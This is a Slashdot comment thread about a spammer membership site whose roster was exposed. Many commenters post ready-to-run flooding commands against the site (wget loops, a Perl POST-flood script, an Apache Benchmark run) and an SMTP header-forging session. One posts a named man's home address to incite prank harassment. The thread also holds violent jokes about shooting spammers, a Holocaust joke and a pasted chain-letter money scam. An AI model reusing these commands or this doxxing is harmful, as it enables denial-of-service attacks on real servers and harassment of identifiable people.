Spammer Hangout's Membership Roster Left Exposed

MikeCapone writes "According to an article at Wired News, spammers feel the need to be part of a community too. The Bulk Club is one such community. A message on the site states that it offers, for a $20 monthly fee, a variety of how-to articles, spamming software, a members' message board area, and 300,000 FRESH e-mails/week. Unsurprisingly, the 'Law & Ethics' section is 'Members Only.' The good part is that, because of a glitch, the membership list of this charming organization was left exposed on the website."

Comments

Send them some mail

[Dancin_Santa]

Maybe they'd be interested in some anti-spam software.

Re:Send them some mail

[SYSS Mouse]

Every one of us should send them 10 e-mails each, preferably more, and we have lots of users.. MUHAHAHAHA

Re:Send them some mail

[Anonymous Coward]

You could forge the headers and change the Reply To address.

Then constantly change the subject so that when they build a filter that blocks one type of email another can still go through.

I bet that would work.

Re:Send them some mail

[FireBreathingDog]

So forge it. Telnet into 25 and issue some commands:

HELO litigation
MAIL FROM: mike@michaelmoore.com
RCPT TO: spammer1@spamscum.com
RCPT TO: spammer2@spamscum.com
RCPT TO: spammerX@spamscum.com
DATA
From: Mike
To: Sleaze Buckets
Subject: Decrease your penis size

How would you like to buy some anti-spam software,
JACKASS???

.

Re:Send them some mail

[robogun]

Easier to post the list to usenet, or make a geocities page and get it indexed on google. The idiots will be spamming themselves in notime.

I have a solution

[mao che minh]

So, 150 spammers huh? I think I'll opt for the HK MP5. Each magazine can hold 32 bullets, which means I'll need 19 fully loaded magazines, or 192 bullets. I figure that I will need this much ammunition because in my zest filled murderous glee I am likely to waste at least four bullets on each spammer, since the intense joy that I will have while firing said bullets in their direction will cause me to miss at least 75% of the time. I think I will also make use of the 10mm automatic cartridges, which deliver up to twice the muzzle energy of the standard 9mm shell (I aim for optimal terminal effect).

Make no mistake, my aim will prove true. I should have this whole "spam" ordeal cleared up by late September.

*as a side note, it wouldn't hurt to sign up and learn how your enemy thinks, and how he employs his tactics. Before you gun him down like a dog in the street, that is.

Re:I have a solution

[Dorothy 86]

Why go with a low caliber MP5 when you can use This?

Re:I have a solution

[Guppy06]

"Make no mistake, my aim will prove true. I should have this whole "spam" ordeal cleared up by late September."

And your name is Mao, hm?

Hey, if they're the first people up against the wall when your revolution comes, sign me up! I'll even carry around a copy of your little red cook book!

Re:I have a solution

[jtheory]

Why go with a low caliber MP5 when you can use This?

Wow, is that thing really made by General Electric?
Makes you wonder about the unspoken correlary to their motto, "we bring good things to life".

Re:I have a solution

[EverDense]

Because using a Minigun on spammers would be like using SPEWS on spammers: too much collateral damage.

Re:I have a solution

[quantaman]

Why go with a low caliber MP5 when you can use This?

I'm not a doctor or a weapons expert but my thought is that a low caliber weapon would be more likely to result in a lingering belly wound and in the end isn't that what really matters?

Re:I have a solution

[Anonymous Coward]

Dude! Minigun *are* one of the good things in life.

Re:I have a solution

[Kufat]

You can use the HK MP5 if you want, but I'm sure they'll listen to Reason.

Re:I have a solution

[sessamoid]

Makes you wonder about the unspoken correlary to their motto, "we bring good things to life".

"The bad things we bring to death."

Re:I have a solution

[jschank]

Yes, But they will need to be SILVER bullets. I ask you, can you afford that? Perhaps 600+ wooden stakes to the heart would be more effective.

Re:I have a solution

[iainl]

Quality post sir. The thought of Reason(tm) being used on spammers has just made my morning.

Re:I have a solution

[the Man in Black]

Massive kudos on the Stephenson quote.

REASON
version 1.0B7
Gatling.type 3.mm hypervelocity railgun system
Ng Security Industries, Inc.
PRERELEASE VERSION-NOT FOR FIELD USE
DO NOT TEST IN A POPULATED AREA
- ULTIMA RATIO REGUM-

Re:I have a solution

[StormKrow]

As the Germans said. "This method is too costly, and we need to find a cheaper method." "Mein Got, these brautvurst are giving me the worst gas...."... (...and history was made). Besides, shooting is too good for these people (spammers), and they should be made an example of. (***DISCLAIMER*** I in no way support the holocaust, this is for the purposes of satire and no insult is intended)

What a disappointment:

[Quixo-tastic]

They're not /.ed yet. You call that clicking?

Re:What a disappointment:

[Saint Aardvark]

Oh, it's better now. BTW, responsible people do not do:

bash-2.01 $ while [ true ] ; do wget -O - http://www.thebulkclub.com > /dev/null ; done

That would be wrong.

Re:What a disappointment:

[Anonymous Coward]

They're spammers. Two wrongs make a right.

Re:What a disappointment:

[Sierran]

Hm. While I would *never* wish to disagree with an esteemed /. colleague, I might point out that while the above script is indeed effective at sucking up bandwidth, there's a more efficient answer! Perusing the website indicated shows that the front page is straight HTML, whereas - voila - the 'Benefits' page (http://www.thebulkclub.com/benefits.asp) is, as we can see, an ASP page. So why just look at a boring front page? Determine for yourself the BENEFITS of this organization, and give that poor IIS server a bit o' work to do.

bash-2.01 $ while [ true ] ; do wget -O - http://www.thebulkclub.com/benefits.asp > /dev/null ; done

Re:What a disappointment:

[GooTi]

Thanks for the polite warning.
But we ALL know what you REALLY MEANT. You're just too shy to admit it, so I'll write it down for you:

Oh, it's better now. BTW, responsible people do not do:

for i in `seq 1 100` ; do wget -bq -O - http://www.thebulkclub.com/benefits.asp > /dev/null ; done

And very responsible people don't even think about raising than 100 in an order of magnitude... that would be wrong!

Re:What a disappointment:

[Istealmymusic]

Why only fetch the FIRST PAGE? Fetch them all!

wget -r -nd --delete-after http://www.thebulkclub.com/

Re:What a disappointment:

[Saint Aardvark]

Truly, you are the better Slashdotter. I bow to your greatness, and I am arranging the transfer of my karma to your Swiss Slashdot account. :-)

Re:What a disappointment:

[digidave]

What does that do? I put it in my console and it didn't do anything. I'll leave it running for a few years just to be sure. I'd better try it on all the college computer labs, too, so I can verify any output.

Re:What a disappointment:

[Wog]

So do three lefts.

Re:What a disappointment:

[Anonymous Coward]

Actually, the following is more efficient (I would never do anything
like this!):

#!/usr/bin/perl -w
use LWP::UserAgent;
my $ua = new LWP::UserAgent;
my $req = HTTP::Request->new ( 'POST' => 'http://http:/www.thebulkclub.com/maili
nglist.as p');
$req->content_type('application/x-www-form-u rlenco ded');
while (1) {
$f= ('Kill the spammer!'.rand); $f = $f . $f for 1..15;
$req->content($f);
$ua->request($req);
}

Re:What a disappointment:

[jschank]

Yeah, but 2 Wrights make and airplane.

Haiku

[Anonymous Coward]

Agony, pain, burning, acid
Slow death too good for spammer
May spam penis shrink

Well now...

[The Tyro]

The shoe is on the other foot, isn't it? That was certainly a fortunate glitch.

I wonder how the spammers feel now that their personal information and identity is being passed around the internet. I wonder if they are receiving "unsolicited" email.

Muhahahah...

Re:Well now...

[Lord_Dweomer]

" I wonder if they are receiving "unsolicited" email."

I'd be much happier if they were receiving "unsolicited" bullets through their windows.

Take a bite out of...

[Anonymous Coward]

"The good part is that, because of a glitch, the membership list of this charming organization was left exposed on the website."

[The theme to Jaws starts playing]

Naughty!

[AndroidCat]

You know, snooping around a spammers site looking for open files is really fighting abuse with abuse and .. *sporf!* I can't keep typing this without busting a gut! Bwahahaha!

It'd be deliciously ironic if ...

[tessaiga]

one of those ubiquitous email harvester bots ran into the exposed membership list :)

Hypocrisy

[splinterBR]

Hey, I love their little notice:

The Bulk Club does not promote any portion of this site via bulk email period. It is against our hosting providers terms of service to do so and we will not tolerate anyone who abuses these rules on our web site.

The club for spammers hates spam???

I can see them rewriting that page now:-

[56ker]

FREE Email Account Companies YES
FREE Autoresponder Companies YES
FREE Online Storage Companies YES
FREE URL Redirection Companies YES
FREE Web Templates YES
Able to withstand slashdotting NO

But hey!

[Geekenstein]

That popup window says we can join their mailing list for FREE!

*signs up his boss*

Spam Nazis

[Bishop923]

According to the Bulk Club's member roster, other subscribers include John Milton, an alias used by Davis Wolfgang Hawke, a former neo-Nazi who became a penis-pill spammer.

Funny how the transition from Neo-Nazi to Spammer doesn't seem like much of a jump...

Re:Spam Nazis

[theoddball]

"Spam Nazis."

"I hate Spam Nazis."

...Drives 1974 Dodge Sedan across bridge, sending Spam Nazis jumping into river.

oops

[mao che minh]

In my feverish anticipation of the hunt, I got my math wrong. You can see how anxious I am to get started on my righteous campaign.

Shhhhhh.

[niko9]

Be vewy vewy quiet, I'm hunting spammers.

Wait... We found one of their hideouts?

[Delphix]

SLASHDOTTERS ATTACK!

Re:If SPAM is so bad..

[SYSS Mouse]

Because they subscribe to this site for $20/month.

I was refreshing about 100 times a second when...

[Hiigara]

This popup appeared.

"The Bulk Club Mailing List
Join our mailing list for FREE!

Bulk Email Industry News Alerts
Free Tips & Tricks
Updated Bulk Club News
and more..."

Now how stupid do they think we are?

But I've already got that list...

[blueforce]

I already have all of those email addresses - they're right there at the top of my emails......the "from" address right?

what to do

[alphax45]

Burning too goo for em,
hanging's too good for em,
they should be chopped up into itty bitty peices and burried alive!!
Why don't we just throw "spam" at their houses till the give up? I'm sure the hot florida/california sun will make a great smelling house :)

If the glitch is fixed..

[Anonymous Coward]

I have a copy of the entire member list if anyone wants it.

Just email me at this address and I'll give yuo the information you want.

Sadness:

[HyperColor Underware]

When knowledge of guns comes from CounterStrike.

OH MAN! I THINK I'LL USE THE DEAGLE!

While crouching, I'll use a wallhack too, and I think I'll even use a aimbot! Those spammers won't know what hit them.

I bet they can't bunnyhop.

Re:Sadness:

[EverDense]

I bet they can't bunnyhop.

Yeah, let's see if they can ROCKET JUMP. ;-)

for a $20 monthly fee...

[H8X55]

for a $20 monthly fee, a variety of how-to articles, spamming software, a members' message board area, and 300,000 FRESH e-mails/week.

ok, how much $$ to take me off all their lists?

Re:Great quote:

[Ichijo]

I have never felt so good to be part of the Slashdot effect.

I'm still waiting for someone to write a non-virus, volunteer-based DDOS client with a voting system.

Re:The disturbing thing is...

[wirelessbuzzers]

Yes. Spammers are really, really annoying. Lawyers who sue everyone and everything in sight are annoying, too. But excuse me for using an 18th-century speil, when everyone seems to be treating the spam problem like it's some fucking witch-hunt.

Jokes about the number of bullets you need for these spammers/lawyers are not funny. They are offensive, and not only to spammers and lawyers (for instance, me). We need to talk about 21st century ways to solve these problems (you know, better laws, improved protocol design) instead of hating the people who exploit them.

I'm not a spammer. I don't sympathize with spammers, especially after my little sister got porn-spammed out of her first email account. But the way you talk about these people is appalling.

I'm suprised it's so active

[banky]

After all, The First Rule of Bulk Club is, You do not talk about Bulk Club.

Wow, this guy gets better....

[notque]

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I've actually taken the 10 minutes it requires to join this wacky bunch of optimists and I'm hoping that there are others out there who will spare the change to try this and want to see the same results.
"I found this on a bulletin board and decided to try it. A little while back, I was browsing through news groups and came across an article similar to this that said you could make thousands of dollars within weeks with only an initial investment of $6.00! So I thought, "Yeah right, this must be a scam", but like most of us, I was curious, so I kept reading. Anyway, it said that you send $1.00 to each of the 6 email addresses stated in the article. You then place your name and address in the bottom of the list at the #6th position and email it to as many people as possible, advertise this page in as many ways possible, also post this message with your email address in the list and post it in at least 200 newsgroups. (There are thousands) No catch, that was it. So after thinking it over, and talking to a few people first, I thought about trying it. I figured "what have I got to lose except $6.00, right?" Then I invested the measly $6.00. Well GUESS WHAT!!... Within a days, I started getting money coming into my Pay Pal account! https://www.paypal.com/cgi-bin/webscr?cmd=_registr ation-run. I was shocked! I figured it would end soon, but the money just kept coming in. In my first week, I made about $25.00 that means 25 people joined the group after they seen my posted messages to them. By the end of the second week I had made a total of over $1000.00! In the third week I had over $10,000.00 and it's still growing. This is now my fourth week and I have made a total of just over $42,000.00 and it's still coming in rapidly. It's certainly worth $6.00, and the 5 seconds it took to join Paypal https://www.paypal.com/cgi-bin/webscr?cmd=_registr ation-run , I have spent more than that on the lottery!
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Excuse me, did any notice...

[UncleRage]

From the "Join the Fun" page:

Please Note: Let us reassure you that none of this information will be shared with anyone outside of our company. Members or No Members, your contact information will remain solely in our hands.

Doesn't say much for conviction of one's trade, does it?

Re:Whois Search

[PCM2]

Funny ... at least once upon a time, 666-6666 in San Francisco got you the Jesuits.

Bulk Club needs some marketing?

[DotDotSlasher]

Please Note The Bulk Club does not promote any portion of this site via bulk email period. It is against our hosting providers terms of service to do so and we will not tolerate anyone who abuses these rules on our web site.

Perhaps someone with some mail-blasting software could send a few million e-mail messages, telling people how great it would be to join this website.

Born under a bad sig

[Attaturk]

I'm devastated. Jimi Hendrix is on the list. First they tell me he's dead, and now they tell me he's a spammer. I guess he went to hell and that's where they taught him how to spam. Tragic.
Oh and I wonder how stealthy "stealth man" is feeling right now. Heh. Hehehe.

Whois

[ruiner13]

Funny how their phone prefix is 666... wonder if that is real?

Organization:
The Bulk Club LLC
The Bulk Club LLC The Bulk Club LLC
3867 W. Market St #272
Akron, OH 44333
US
Phone: 330-666-7625
Email: aumaninc@hotmail.com

[...]

DNS servers:

NS2.ITBRAZIL.COM 216.162.103.31
NS0000.4ADMINS.COM 202.54.192.205
NS5.4AMDNS.COM 203.199.3113.19

Re:Great quote:

[minion]

I think this is a great time to employ that new, low-bandwidth DDOS technique recently discussed on slashdot.

Ha ha! Time to make funny!

[Doomdark]

*cough* *hesitate*

Ok, here goes...

I, for one, welcome our new ubergeek scripting overlord!

Ouch

[theolein]

In the linked article on the wired site to the ex-neonazi pushing penis pills, it claimed that 6000 people casually gave their credit card details over a non secure link to a site with no contact address or telephone number. Given this level of stupidity, I can actually see the value of spamming.

Off to start my own business: Auto-Wank, the sucker for suckers! :O

Re:Oh ho ho!

[ruprechtjones]

I hope he likes pizza.





And porn subscriptions...

Because...most of them are restricted....

[numbski]

So, what the wise thing to do is to take the best of all of the above:

while [ true ]; do wget -r -nd --user-agent=ALLYOURSPAMARESUCKY http://www.thebulkclub.com/benefits.asp > /dev/null; done

Re:I was refreshing about 100 times a second when.

[Anonymous Coward]

Now how stupid do they think we are?

Stupid enough to have JavaScript enabled in your browser?

Re:delete button a few times?

[Anonymous Coward]

Just wanted to mention that I found the subject combined with your user name highly amusing.

I should probably get out more.

Sue Slashdot!

[alexborges]

C. No one will give you back the time that SPAM has wasted in your life.


Who will pay me for the time slashdot has wasted in my life?

Re:Sue Slashdot!

[wagemonkey]

C. No one will give you back the time that SPAM has wasted in your life.

Who will pay me for the time slashdot has wasted in my life?

No-one, you opted in user #313924 :-)

Apache Benchmark

[CapS]

You may also not want to recommend people use a web server benchmarking tool (such as Apache Benchmark, which comes on Mac OS X and most Linux distros, probably available for Windows):

ab -c 60 -n 50000 http://www.thebulkclub.com/benefits.asp

Running this will send 60 requests at a time for 50000 times. Since the benchmarking tool is used for testing the performance of web servers, it really taxes them; doing this can really slow down a web server, so I wouldn't recommend doing it. I also wouldn't recommend making either of those numbers larger.

Major assignment for the year

[darnok]

It's a slow, quiet day - one of those where the afternoon drags on and on and on - so I log into Slashdot.

Bingo! A gaggle of spammers exposed to the public eye! I start scrolling through the discussion, my heart filled with glee at the wizard japes my fellow /.'ers will be indulging in at this very moment.

Bzzzt! All that's there is several variations on a wget script, pointers to a few last-known home addresses, pointers to lists of users etc. All good, solid work, but nothing that's going to get you bonus marks.

Students, here's your work assignment for the next 30 minutes: I want to see Slashdot subjects like "Their hosting service has now lost power", "Just sent 50 tonnes of dung to this guy's home address", "Just ordered 5000 pizzas sent to this guy's house", "Server is now engulfed in flame - I've seen it!", "This guy's credit history has now been destroyed", "Hosting computer room now under 18 inches of water", and so on.

This assignment will form a SIGNIFICANT component of your end-of-year grade. Any references supplied will be checked; photographic evidence should be supplied where available.

Thanks for your attention, and good luck in your endeavours

Their index.html was pulled...

[Anonymous Coward]

Did we brea...I mean thorougly test their site yet?

Pizza!

[Anonymous Coward]

Here's my contribution. Pizza places near Drew Auman's home at 113 Hunt Club Dr, Copley, OH, 44321-2759. They're probably closed right now, but somebody please please call and order tomorrow, and if you can camp nearby his house and video tape the parade of pizza guys, even better!

Amazing.

[Queuetue]

I now get why spamming is so profitable - I may try it myself. If you use thier handly-dandy "power of numbers" calculator, you can see that:

If I send a million mails for something that I make a 50 dollar markup on, I'm instantly 250k richer, in thier "worst" scenario!

If I send the mail to a billion people instead, then I just made enough money so my great-great-great-great grandkids can retire.

If I send it to 100 BILLION email addresses, then hey - I'm one of the richest men in the world. In fact, I may just generate a few hundred billion email addresses on this box right here, and send them all a mail.

See you, suckers - I'm off to spam my way to the top!

what harry potter would do

[Anonymous Coward]

Harry would take care of those spamming bastards. He'd whip out his wand, shag Cho Chang with it, and once it was covered with her love stank, he'd cast ALOHOMORA PORT 25 and POW!! that baby'd be wide open. Harry would use that dark arts kung-fu shit he knows to pump more spammer names into that friggin port than you could believe. And then POW!!! He'd click send and Hedwig his owl would fly over and shit right on every one of their heads 4000 friggin times in a single month.

new page for them

[babbage]

Their site seems to be kaput. How said.

Oh well, we all know they'll reconstitute themselves like the amoebas they are.

Let's offer them a new home page for next time around.

<h1>

THE FIRST RULE OF SPAM CLUB is YOU DO NOT TALK ABOUT SPAM CLUB.

</h1>

<h1>

THE SECOND RULE OF SPAM CLUB is YOU DO NOT TALK ABOUT SPAM CLUB.

</h1>

<h1>

THE THIRD RULE OF SPAM CLUB is WHEN SOMEONE SAYS STOP OR GOES LIMP, THE SPAM CONTINUES.

</h1>

<h1>

THE FOURTH RULE OF SPAM CLUB is ONLY TWO MILLION TARGETS IN A SPAM.

</h1>

<h1>

THE FIFTH RULE is ONLY ONE SPAM AT A TIME. Just kidding!

</h1>

<h1>

THE SIXTH RULE is NO SHIRT, NO SHOES

</h1>

<h1>

THE SEVENTH RULE is SPAMS GO ON AS LONG AS THEY HAVE TO

</h1>

<h1>

AND

</h1>

<h1>

THE EIGHTH RULE is IF THIS IS YOUR FIRST NIGHT AT SPAM CLUB, YOU HAVE TO SPAM.

</h1>

They can just feel free to save that as their index.html if they want. :-)